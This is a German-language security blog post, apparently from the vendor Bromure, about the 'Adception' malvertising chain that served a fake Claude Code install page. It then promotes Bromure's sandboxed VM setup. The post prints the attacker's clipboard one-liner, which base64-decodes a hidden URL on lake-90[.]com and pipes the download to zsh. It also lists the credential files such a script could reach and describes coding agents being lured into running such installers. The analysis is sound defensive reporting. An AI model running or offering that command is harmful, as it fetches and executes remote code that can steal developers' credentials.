Die Seite zeigte den echten Befehl
Am 9. Oktober hat Push Security eine Google-Anzeige für „claude mac“ beschrieben, deren Ziel ein echter bing.com-Link war. Vier Weiterleitungen später zeigte eine gefälschte Claude-Downloadseite Anthropics echten Installationsbefehl, und ihr Kopieren-Button legte einen anderen in die Zwischenablage: eine versteckte URL, per Pipe an zsh übergeben. Push nennt die Technik Adception. In Bromure Agentic Coding kommt Claude Code über einen signierten Setup-Schritt in eine VM, die Anmeldung läuft in einer Wegwerf-Maschine, und niemand tippt einen Installationsbefehl in ein Terminal auf dem Mac.
Die Seite zeigte Anthropics Installationsbefehl, Zeichen für Zeichen. Der Kopieren-Button legte einen anderen in die Zwischenablage.
Jemand bei einem Kunden von Push Security tippte „claude mac“ in Google. Das
erste Ergebnis war ein gesponserter Link, und die Domain darunter war
bing.com. Die Anzeige verwendete weder eine Doppelgänger-Domain noch eine
Falschschreibung von Anthropic. Googles Anzeigenprüfung hatte eine Anzeige
freigegeben, deren Ziel eine andere Suchmaschine war.
Push veröffentlichte die Kette am Donnerstag, dem 9. Oktober, und taufte die Technik Adception. BleepingComputer brachte die Geschichte am selben Nachmittag. Die Forscher von Push schrieben, sie hätten Suchergebnisse schon als Weiterleiter gesehen, aber „noch nie als Ziel einer Suchanzeige, und wir haben keine früheren öffentlichen Berichte darüber gefunden“. Ein Zeitstempel im Bing-Link lässt sich zum 5. Oktober dekodieren.
Vier Sprünge bis zu einem Kopieren-Button
Der Klick lief über vier Stationen:
google.com/aclk, Googles Weiterleitung für Anzeigenklicks.bing.com/ck/a, Bings eigener Klick-Tracking-Link für ein echtes Suchergebnis. Er leitet mit einer kurzen JavaScript-Seite weiter, sodass der Browser beim nächsten Sprung mit einembing.com-Referrer ankommt.- Die „Über uns“-Seite eines echten südamerikanischen Händlers mit einer kompromittierten WordPress-Site. Sie leitet nur Besucher weiter, die mit den richtigen Browser-Headern von Bing kommen.
claude-desk-code[.]com, eine aufwendige Kopie von Claudes Downloadseite, mit einem Download for macOS-Button und einer einzeiligen Installation im Terminal.
Jeder Sprung prüft, woher der Besucher kommt. Laden Sie die gefälschte Seite
direkt, liest ihr JavaScript document.referrer, findet weder Google noch
Bing und liefert /404.html aus. Ein Anzeigenprüfer, ein Scanner oder ein
Forscher, der die URL einfügt, sieht nichts. In den Worten von Push: „Der
bösartige Payload erschien nur, wenn man das Ende der Kette über genau diesen
Pfad erreichte.“
Die Seite zeigt den Befehl, den Anthropic veröffentlicht:
curl -fsSL https://claude.ai/install.sh | bash
Der Kopieren-Button legt stattdessen das hier in die Zwischenablage:
echo "Downloading Claude: hxxps://claude[.]ai/install.sh" && curl -s $(echo "aHR0cHM6Ly9sYWtlLTkwLmNvbS9jdXJsL2luaGd1cDlhL2E5MGZrYnFkZzhkMG11czY0b2g4ZHcuZGF0" | openssl base64 -d -A) | zsh
Ins Terminal eingefügt, gibt die erste Hälfte eine beruhigende Zeile mit
Anthropics URL aus. Die zweite Hälfte dekodiert eine versteckte Adresse auf
lake-90[.]com, lädt eine .dat-Datei und leitet sie per Pipe an zsh.
Nichts landet vorher auf der Festplatte, wo es gescannt werden könnte. Push
ordnet acht Köder-Domains, darunter cli-desktop[.]com und
too.clawddddd[.]com, einem Toolkit zu, das es als AcSig verfolgt, und merkt
an, dass die Domains so schnell wechseln, dass „kurzlebige IoCs nur begrenzten
Wert haben“.
Warum der Köder ein KI-Tool ist
Push ordnet Adception unter InstallFix ein, einer ClickFix-Variante, die es
erstmals im März beschrieben hat: gefälschte Installationsanleitungen für
Tools, deren echte Installation ein Terminal-Einzeiler ist. Claude Code ist
der Musterfall. Seine dokumentierte Installation ist ein curl, der per Pipe
an eine Shell geht, also wirkt eine Seite, die einen Entwickler bittet, so
etwas ins Terminal einzufügen, wie das Original.
Push sagt, ClickFix-Seiten machen inzwischen mehr als die Hälfte seiner monatlichen Erkennungen aus, und „4 von 5 ClickFix-Angriffen (einschließlich der Varianten InstallFix und LLMshare), die wir erkennen, erreichen ihre Opfer über Suchmaschinen“. Entwickler stellen den Großteil derer, die nach „claude mac“ suchen, und der Mac eines Entwicklers ist für jeden, der darauf ein Skript ausführt, viel wert.
Push hat den endgültigen Payload nicht sichergestellt, also weiß noch
niemand, was dieses Skript tut. Ein zsh-Prozess, der aus Ihrem Terminal
gestartet wird, läuft als Sie, mit Ihrem Home-Ordner:
~/.aws/credentials,~/.config/gcloud,~/.kube/config~/.ssh/id_ed25519und~/.git-credentials- das
gh-Token sowie die Publish-Tokens für npm und PyPI .env-Dateien in jedem Checkout- die Anmeldung des Agenten selbst, falls Claude Code schon installiert war
- Browserprofile, Cookies und Session-Tokens
Das Opfer glaubt außerdem, die Installation habe funktioniert. Wenn das Skript als letzten Schritt das echte Claude Code installiert, sieht nichts falsch aus.
Die Ratschläge laden die Arbeit bei Ihnen ab
Die Empfehlungen nach dem Bericht sind die übliche Liste: Tippen Sie die URL des Herstellers selbst ein, misstrauen Sie gesponserten Ergebnissen, lesen Sie, was Sie eingefügt haben, bevor Sie Return drücken, und halten Sie jede Installationsseite für verdächtig, die nach dem Terminal verlangt. Das stimmt alles. Es verlangt aber auch von einem Entwickler, mitten in der Einrichtung eines neuen Tools genauer hinzusehen als eine Seite, die gebaut wurde, um einem flüchtigen Blick standzuhalten. Der Befehl auf dem Bildschirm war der von Anthropic. Die Domain der Anzeige war die von Bing. Die Weiterleitung lief über einen echten Händler. Ein sorgfältiger Entwickler, der jeden dieser Punkte geprüft hätte, hätte nichts Falsches gefunden.
Bromure entfernt den Schritt, von dem der Angriff abhängt: einen Entwickler, der den Installationsbefehl für einen Coding-Agent in ein Terminal auf dem Mac einfügt, auf dem seine Schlüssel liegen.
Claude Code auf dem Mac, ohne es auf dem Mac zu installieren
Bromure Agentic Coding führt Claude Code, Codex, Grok, Kimi Code und Oh My Pi in Linux-VMs auf Ihrem Mac aus. Keiner davon kommt über ein Terminal auf dem Mac dorthin.
Die App ist ein notarisiertes Disk-Image
Bromure Agentic Coding wird als signiertes, notarisiertes DMG von bromure.io ausgeliefert. Sie ziehen es in den Ordner Programme, und Gatekeeper öffnet es ohne Warnung. Das Handbuch sagt, was mit jeder anderen Kopie zu tun ist: „Wenn Sie ein DMG von einer anderen Quelle als bromure.io haben und Gatekeeper sich beschwert, betrachten Sie das als Warnsignal, nicht als etwas, das man umgeht.“ Danach aktualisiert sich die App selbst mit Sparkle und prüft jedes Update vor der Installation gegen Bromures Signaturschlüssel. Die gesamte Installation enthält keinen Befehl, also gibt es keinen Kopieren-Button, den jemand austauschen könnte.
Die Agents kommen als signierte Setup-Schritte
Beim ersten Start lädt der Einrichtungsassistent Bromures Basis-Image herunter, eine Ubuntu-24.04-Disk, und prüft dessen SHA-256. Dann installiert er die Agents als Setup-Schritte, die in einem Katalog stehen, in Ihre Kopie des Images. Der Katalog trägt eine ed25519-Signatur, erstellt mit demselben Schlüssel, der die App-Updates signiert, und die Signatur deckt jeden Setup-Befehl ab. Die App lehnt einen unsignierten oder veränderten Katalog ab, ebenso jeden Katalog, der älter ist als einer, den sie bereits akzeptiert hat.
Der Schritt für Claude Code ist eine npm-Installation, eingehüllt in den Lieferketten-Scanner von Socket.dev und ausgeführt in einer Hilfs-VM. Niemand fügt ihn ein, und ein manipulierter Downloadserver kann ihn nicht ändern. Während er läuft, zeigt der Setup-Schritt des Assistenten „Customizing the image: installing packages…“ an.
Wenn sich ein Agent später in einer Maschine mit npm install -g selbst
aktualisiert, passiert die Anfrage wie jeder andere Paketabruf Bromures Proxy
auf dem Mac. Der Proxy wendet die Lieferketten-Richtlinie der Maschine an
(Mindestalter, OSV, Socket.dev, Depi, je nachdem, was Sie aktiviert haben),
bevor ein einziges Byte die VM erreicht, und protokolliert den Abruf in der
Security Timeline.
Die Anmeldung läuft in einer Wegwerf-Maschine
Die Installationsanleitung von Claude Code endet mit einer Anmeldung. In Bromure übernimmt das der Schritt Models des Assistenten: Wählen Sie die Anthropic-Anmeldung, schließen Sie sie auf der sich öffnenden Browserseite ab und warten Sie auf Signed in to Claude. Das Handbuch beschreibt, was darunter passiert: „Die Anmeldung findet auf Ihrem Mac statt, in einer versteckten temporären Maschine; Sie sehen nie ein Terminal.“ Die eigene CLI des Anbieters führt ihre Anmeldung in dieser VM aus. Bromure fängt die Tokens auf dem Host ab, verschlüsselt sie und löscht die VM.
Die Anmeldung wird in einer mit AES-GCM verschlüsselten Datei gespeichert,
unter einem Hauptschlüssel im Data Protection Keychain des Macs, markiert als
nur für dieses Gerät, ohne iCloud-Synchronisierung. Keine
~/.claude-Token-Datei liegt in Ihrem Home-Ordner, die ein Skript einsammeln
könnte, und jede Maschine bekommt ihren eigenen Platzhalter.
Wenn der Agent auf Installer-Suche geht
Adception zielt auf einen Menschen vor einem Suchfeld. Auch Coding-Agents suchen nach Installationsanleitungen, und zwar öfter als Menschen: eine fehlende CLI, ein neues SDK, ein Linter, den die README erwähnt. Ein Agent liest das HTML der Seite, statt auf Kopieren zu klicken, aber InstallFix-Seiten tragen den schädlichen Befehl im Seitenquelltext, und die nächste Kampagne verzichtet vielleicht ganz auf den Trick mit der Zwischenablage.
Angenommen, ein Agent in einer Bromure-Maschine findet eine Seite wie
claude-desk-code[.]com und führt ihren Einzeiler aus. Vier Schichten liegen
zwischen diesem Skript und Ihren Schlüsseln.
Das Skript läuft in einem Linux-Gast mit Platzhaltern
Die Maschine ist eine Ubuntu-VM, und das Skript läuft in diesem Linux-Gast.
Sein Home-Ordner enthält den Projekt-Checkout und brm_-Platzhalter unter
den üblichen Namen: ANTHROPIC_API_KEY, GH_TOKEN,
AWS_SECRET_ACCESS_KEY. Die echten Werte bleiben verschlüsselt auf dem Mac,
und der Proxy setzt sie nur bei Anfragen an den Host auf die Leitung, für den
das jeweilige Zugangsdatum erzeugt wurde. Ein Skript, das jedes Token
einsammelt, das es findet, sammelt Strings ein, die kein Server akzeptiert.
Ein Platzhalter auf dem Weg zum falschen Host stoppt die Maschine
Der Proxy durchsucht jede ausgehende Anfrage, Request-Zeile, Header und Body, nach Platzhaltern auf dem Weg zu einem Host, zu dem sie nicht gehören. Wenn das Skript seine Beute an den Server des Angreifers schickt, antwortet der Proxy mit HTTP 451, leitet nichts weiter, pausiert die VM und öffnet auf dem Mac This environment may have been compromised, mit dem Token, seinem Zugangsdatum, dem Host, zu dem es gehört, und dem Host, an den es gesendet wurde.
Der Payload-Host stand nie auf der Liste
Der Bereich Guardrails der Maschine hat eine Outbound
connections-Firewall mit Regeln nach Host, IP-Bereich, Protokoll und Port.
Stellen Sie Unmatched traffic auf Deny, erlauben Sie den
Modellanbieter, die Registries und GitHub, und der curl an lake-90[.]com
baut nie eine Verbindung auf. Das Ergebnis erscheint in der Security
Timeline neben der Sitzung, die die Anfrage gestellt hat.
Der Home-Ordner wird zurückgespult
Jeder Start einer Maschine legt einen Wiederherstellungspunkt ihres Home-Ordners an. Fahren Sie die Maschine herunter, wählen Sie Rewind home…, nehmen Sie den Start vor der Ausführung des Skripts, und der nächste Start fährt mit diesem Home-Ordner hoch. Der aktuelle Home-Ordner wird vorher als neuer Punkt gesichert, sodass sich auch das Zurückspulen rückgängig machen lässt. Um ganz von vorn zu beginnen, setzen Sie die Maschine auf das Basis-Image zurück.
Kein Installationsbefehl zum Einfügen
Bromure kommt als notarisiertes DMG von bromure.io und aktualisiert sich über signierte Sparkle-Releases. Nichts in der Einrichtung verlangt, dass Sie das Terminal öffnen.
Agents kommen aus einem signierten Katalog
Claude Code und die anderen Agents werden durch Setup-Schritte ins Basis-Image installiert, deren Befehle von einer ed25519-Signatur abgedeckt sind. Ein manipulierter Server kann sie nicht ändern.
Anmeldung in einer Wegwerf-VM
Die Anmeldung beim Anbieter läuft in einer versteckten temporären Maschine. Die Tokens werden auf dem Mac unter einem Keychain-Schlüssel verschlüsselt, und jede Maschine bekommt einen Platzhalter.
Ein böser Einzeiler landet in einer VM
Führt ein Agent trotzdem einen aus, läuft er unter Linux mit Platzhaltern, hinter einer Firewall und einer Kompromittierungserkennung auf dem Mac, und der Home-Ordner lässt sich zurückspulen.
Die nächste Suchanzeige
Push hat Adception durch den Klick eines einzigen Kunden entdeckt, bei einem Köder für einen einzigen Suchbegriff. Das AcSig-Toolkit hat acht Domains, und dieselbe Seite funktioniert für „codex mac“, „gemini cli install“ oder welches Tool Entwickler nächsten Monat auch suchen. Diesmal hat Google einen Bing-Link freigegeben. Beim nächsten Mal zeigt die Anzeige vielleicht auf eine andere Domain, der ein Anzeigenprüfer vertraut.
Installieren Sie den Coding-Agent einmal, als App, und lassen Sie ihn dort laufen, wo die Einrichtung signiert ist und die Schlüssel Platzhalter sind. Mehr zu eingefügten Befehlen und geliehenem Vertrauen lesen Sie in Die Zwischenablage ist der Exploit und Sie haben Ihren Agenten auf die Liste gesetzt.